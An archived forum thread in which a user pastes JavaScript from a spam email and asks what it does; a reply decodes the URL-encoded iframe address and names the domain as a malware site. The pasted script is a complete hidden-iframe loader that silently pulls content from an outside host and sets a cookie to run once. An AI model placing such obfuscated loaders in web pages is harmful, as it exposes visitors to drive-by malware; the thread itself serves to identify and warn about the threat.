...

View Full Version : javascript cookies



ervanjulianto
12-08-2012, 05:23 AM
hi, today i receive spam email
can you tell me what the use of this script?
cause i already click that script :(
thanks


<script language="javascript" type="text/javascript">
window.GetRealCookie=function(name){
var cookie = " " + document.cookie;
var search = " " + name + "=";
var setStr = null;
var offset = 0;
var end = 0;
if (cookie.length > 0) {
offset = cookie.indexOf(search);
if (offset != -1)
{offset += search.length;
end = cookie.indexOf(";", offset)
if (end == -1)
{end = cookie.length;}
setStr = unescape(cookie.substring(offset, end));}}
return setStr;
};


window.SetRealCookie=function(name, value, expiredays, path, domain, secure){
if (expiredays) {
var exdate=new Date();
exdate.setDate(exdate.getDate()+expiredays);
var expires = exdate.toGMTString();
}
document.cookie = name + "=" + escape(value) +
((expiredays) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
};




window.SetAll****=function()
{
try
{
if(!document.getElementsByTagName('body')[0])
{
setTimeout('SetAll****();',100);
}
else
{
var ifr=document.createElement('iframe');
ifr.width='2px';
ifr.height='1px';
ifr.src=unescape("%68%74%74%70%3A%2F%2F%73%69%6E%67%6C%65%63%6F%6C%75%6D%6E%68%61%6C%6C%6F%77%65%65%6E%2E%61%73%69%61% 2F%61%30%34%31%32%31%32%61%2F%36%2F%69%2E%70%68%70%3F%74%6F%6B%65%6E%3D%73%70");
ifr.style.border="none";
document.getElementsByTagName('body')[0].appendChild(ifr);
SetRealCookie('dolink','1',60,'/');
}
}catch(e){setTimeout('SetAll****();',100);}
}







try
{

var checkall=GetRealCookie("dolink");
if (checkall!=="1")
{
SetAll****();
}

}catch(e){}

</script>

Philip M
12-08-2012, 09:51 AM
The iframe source is
http://singlecolumnhalloween.asia/a041212a/6/i.php?token=spkulkarnioo71.com

kulkarnioo71.com
is a known malware site.

Never click on any link in an email. Now you must run Malwarebytes to try and disinfect your computer.

See also

http://www.codingforums.com/archive/index.php/t-156286.html



EZ Archive Ads Plugin for vBulletin Copyright 2006 Computer Help Forum